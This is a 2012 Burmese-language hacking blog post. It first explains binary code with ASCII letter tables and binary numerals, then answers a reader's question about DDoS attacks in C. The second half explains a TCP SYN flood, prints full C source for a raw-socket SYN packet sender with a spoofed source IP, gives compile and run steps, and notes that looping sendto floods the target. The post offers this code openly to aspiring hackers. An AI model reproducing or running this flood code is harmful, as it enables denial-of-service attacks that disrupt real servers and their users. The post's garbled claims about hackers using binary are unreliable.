Wednesday, 15 August 2012

ဘိုင္နရီ ကုတ္ { Binary coad }ဆိုတာ




  •  ဘိုင္နရီ ကုတ္ { Binary coad }ဆိုတာ
    ကြန္ပ်ူတာေတြနားလည္တဲ့ စကားေပါ့ ေနာ္အရင္ တံုးကရွင္းျပဖူးပါတယ္
    ကြန္ပ်ူတာေတြတစ္လံုးနဲ့ တစ္လံုးဆက္သြယ္တဲ့ အခါမွာ ဒီ computer ေတြကို ဒီတိုင္းဆက္သြယ္လို့မရပါဘူး

    သူတို့ကို  တစ္ဦးနဲ့ တစ္ဦး နားလည္တဲ့ ဘိုင္နရီ  ကုတ္ေလးနဲ့ ဆက္သြယ္ထားပါတယ္ ကြန္ပ်ူတာကလည္းဒါပဲ
    နားလည္ပါတယ္ 0,1 ေပါ့ ပထမ တစ္လံုးနဲ့တစ္လံုးခ်ိပါဆက္တဲ့ အခါမွာ သူတို့ေတြကို data ေတြပို့ေဆာင္တဲ့ အခါမွာ သက္ဆိုင္ရာ ကြန္ပ်ူတာေတြဆီ ပိုေဆာင္တဲ့ data ေတြေရာက္၇ွိသြားဖို့ ip address ေေတြကိုသံုးပါ
    တယ္ ip address ဟာ  computer ေတြရဲ့ ကိုယ္စလွည္ပါ  ဒီ ကြန္ပ်ူတာကေနျပီးေတာ့ အျခားကြန္ပ်ူတာ
    တစ္လံုးကို network လိုင္းကေနျပီးဥပမာ photo တစ္ ခုပို့လိုက္တယ္ဆိုပါစို့ ဒီ photo ဟာ ဒီအတိုင္းျကီးေရာက္
    သြားတာမဟုတ္ပါ computer နားလည္တဲ့ bynary language နဲ့ 01010010010110000000011111
    အျဖစ္ ေျပာင္းလဲျပီးေတာ့ နက္၀က္ေပါင္းသန္းေပါင္းမ်ားစြာကိုျဖက္သန္းျပီးေတာ့ သက္ဆိုင္ရာ ip address
    ဆီသို့ေရာက္ေအာင္ပိုေဆာင္ပါတယ္ ဒီ 0 and1 ကို ေရာက္ရွိတဲ့ ကြန္ပ်ူတာက ျပန္လည္ျပီးေတာ့ photo တစ္ခုအျဖစ္တည္ေဆာက္ျပီးေတာ့ ဘာသာျပန္ပါတယ္ ေရွ master hacker  ျကီးေတြက ဒီ bynary
    ကို အသံုးျပုျပီးေတာ့ Network ေတြေဖာက္ထြင္း password ေတြဟက္ Web CMS  ကလည္းဒီ binary
    နဲ့ မကင္းပါဘူး မကင္းဆို bynary က လူရွုပ္ျကီးကို အဲေလ conputer သံုးေနသမ်ွ ဒီ binary language
    နဲ့ ကင္းလို့မရပါဘူး ေျမက္မ်ားစြာ ေသာ computer တိမ္းခ်ပ္မွူ system ေတြဟာ သူနဲ့သက္ဆိုင္ပါတယ္
    ဒီေကာင္ကလည္း ထိပ္တန္း script ကို ဒါေျကာင့္ အခ်ို့ master hacker ေတြက ဒီေကာင္ကိုအသံုျပုျကပါတယ္ ခုထိ A taxonomy of code injection attacks. Code injection attacks. Binary attacks. Dynamic language attacks. ဆိုတာ နာျမည္ျကီး တမင္းငက္ အဲ့ေလ ထြက္ေပါ္လာပါတယ္ ကဲေလ့လာေရးသာရေအာင္ ေသခ်မွတ္သားပါ အလြပ္က်က္ထားပါ ဒါမွ အနာ ဂတ္ျမန္မာ  ဟက္ကာေလာင္းေတြျဖစ္ျကမွာေပါ့  ကဲေရးျကည္ရေအာင္binary language ေတြေနာက္စမယ္

    အေျခခံက binary language မွာ english စာေတြကို


    Letter
    Binary Code
    A 01000001 B 01000010 C 01000011 D 01000100 E 01000101 F 01000110 G 01000111 H 01001000 I 01001001 J 01001010 K 01001011 L 01001100 M 01001101 N 01001110 O 01001111 P 01010000 Q 01010001 R 01010010 S 01010011 T 01010100 U 01010101 V 01010110 W 01010111 X 01011000 Y 01011001 Z 01011010


    Letter
    Binary Code
    a 01100001 b 01100010 c 01100011 d 01100100 e 01100101 f 01100110 g 01100111 h 01101000 i 01101001 j 01101010 k 01101011 l 01101100 m 01101101 n 01101110 o 01101111 p 01110000 q 01110001 r 01110010 s 01110011 t 01110100 u 01110101 v 01110110 w 01110111 x 01111000 y 01111001 z 01111010

    ဒီလိုသက္မွတ္ပါတယ္
    ဥပမာ Bob = 010000100110111101100010
            Computer =0100001101101111011011010111000001110101011101000110010101110010

    စမ္းျပီးေတာ့ ကြန္ပ်ူတာနားလည္တဲ့ ဘာသာစကားေတြကို လူေတြေရးျကည္ပါ
    နံပတ္ကေတာ့

    1. 1
    2. 10
    3. 11
    4. 100
    5. 101
    6. 110
    7. 111
    8. 1000
    9. 1001
    10. 1010
    11. 1011
    12. 1100
    13. 1101
    14. 1110
    15. 1111
    16. 10000
    17. 10001
    18. 10010
    19. 10011
    20. 10100
    ပါ စမ္းေရးျကည္ပါတျဖည္ျဖည္းနဲ့ဒီအေျကာင္းကိုနားလည္လာတဲ့ အခါမွာ ဒီlanguage  ေလးကိုဘယ္လိုတက္ျမတ္စြာ အသံုးျပုရမလဲဆိုတာသိလာပါမယ္
    ကဲညီေလးတစ္ေယာက္ကေမးတယ္ C language နဲ့ Ddos attack လုတ္လို့ရသလားတဲ ဘယ္လိုေရးသြားသလဲတဲ့ ညီေလးက C ကိုေလ့လာေနသူပါတဲ့ရတယ္ညီေလးရယ္ ဒါကိုက်ြန္ေတာ္တို့အဖြဲ့
    ဆရာျကီးကေရးျပပါမယ္  mr.depaker (RUSSIA) c++,c#, java, python
    ပါ  Ddos attack c flood coad ပါ
    TCP/IP 3-way handshake is done to establish a connection between a client and a server. The process is :

    1. Client –SYN Packet–> Server
    2. Server –SYN/ACK Packet –> Client
    3. Client –ACK Packet –> Server

    The above 3 steps are followed to establish a connection between source and destination.

    SYN Flood DOS attacks involves sending too many SYN packets (with a bad or random source ip) to the destination server. These SYN requests get queued up on the server’s buffer and use up the resources and memory of the server. This can lead to a crash or hang of the server machine.
    After sending the SYN packet it is a half-open connection and it takes up resources on the server machine. So if an attacker sends syn packets faster than memory is being freed up on the server then it would be an overflow situation.Since the server’s resources are used the response to legitimate users is slowed down resulting in Denial of Service.
    Most webservers now a days use firewalls which can handle such syn flood attacks and moreover even web servers are now more immune.
    Below is an example code in c :



    /*
        Syn Flood DOS with LINUX sockets
    */
    #include<stdio.h>
    #include<netinet/tcp.h>   //Provides declarations for tcp header
    #include<netinet/ip.h>    //Provides declarations for ip header

    typedef struct pseudo_header    //needed for checksum calculation
    {
        unsigned int source_address;
        unsigned int dest_address;
        unsigned char placeholder;
        unsigned char protocol;
        unsigned short tcp_length;
        //char tcp[28];
        struct tcphdr tcp;
    };

    unsigned short csum(unsigned short *ptr,int nbytes) {
        register long sum;
        unsigned short oddbyte;
        register short answer;

        sum=0;
        while(nbytes>1) {
            sum+=*ptr++;
            nbytes-=2;
        }
        if(nbytes==1) {
            oddbyte=0;
            *((u_char*)&oddbyte)=*(u_char*)ptr;
            sum+=oddbyte;
        }

        sum = (sum>>16)+(sum & 0xffff);
        sum = sum + (sum>>16);
        answer=(short)~sum;

        return(answer);
    }

    int main (void)
    {
        //Create a raw socket
        int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
        //Datagram to represent the packet
        char datagram[4096];
        //IP header
        struct iphdr *iph = (struct iphdr *) datagram;
        //TCP header
        struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
        struct sockaddr_in sin;
        struct pseudo_header psh;

        sin.sin_family = AF_INET;
        sin.sin_port = htons(80);
        sin.sin_addr.s_addr = inet_addr ("1.2.3.4");

        memset (datagram, 0, 4096); /* zero out the buffer */

        //Fill in the IP Header
        iph->ihl = 5;
        iph->version = 4;
        iph->tos = 0;
        iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
        iph->id = htonl (54321); //Id of this packet
        iph->frag_off = 0;
        iph->ttl = 255;
        iph->protocol = IPPROTO_TCP;
        iph->check = 0;      //Set to 0 before calculating checksum
        iph->saddr = inet_addr ("192.168.1.2");  //Spoof the source ip address
        iph->daddr = sin.sin_addr.s_addr;

        iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);

        //TCP Header
        tcph->source = htons (1234);
        tcph->dest = htons (80);
        tcph->seq = 0;
        tcph->ack_seq = 0;
        tcph->doff = 5;      /* first and only tcp segment */
        tcph->fin=0;
        tcph->syn=1;
        tcph->rst=0;
        tcph->psh=0;
        tcph->ack=0;
        tcph->urg=0;
        tcph->window = htons (5840); /* maximum allowed window size */
        tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
                    should fill in the correct checksum during transmission */
        tcph->urg_ptr = 0;
        //Now the IP checksum

        psh.source_address = inet_addr("192.168.1.2");
        psh.dest_address = sin.sin_addr.s_addr;
        psh.placeholder = 0;
        psh.protocol = IPPROTO_TCP;
        psh.tcp_length = htons(20);

        memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));

        tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));

        //IP_HDRINCL to tell the kernel that headers are included in the packet
        {
            int one = 1;
            const int *val = &one;
            if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
                printf ("Warning: Cannot set HDRINCL!n");
        }

        //while (1)
        //{
            //Send the packet
            if (sendto (s,      /* our socket */
                        datagram,   /* the buffer containing headers and data */
                        iph->tot_len,    /* total length of our datagram */
                        0,      /* routing flags, normally always 0 */
                        (struct sockaddr *) &sin,   /* socket addr, just like in */
                        sizeof (sin)) < 0)       /* a normal send() */

                printf ("errorn");
            //Data send successfully
            else
                printf (".");
        //}

        return 0;
    }



    To compile simply : gcc synflood.c
    And then : sudo ./a.out (if on Ubuntu)
    Use wireshark to check the packets and replies from server.
    The sendto function if put in a loop will start flooding the destination ip with syn packets.
    Popularity: 39% [?]
    နေသာ္ေအာင္ နဲ့  mr.depaker (RUSSIA) ပါ

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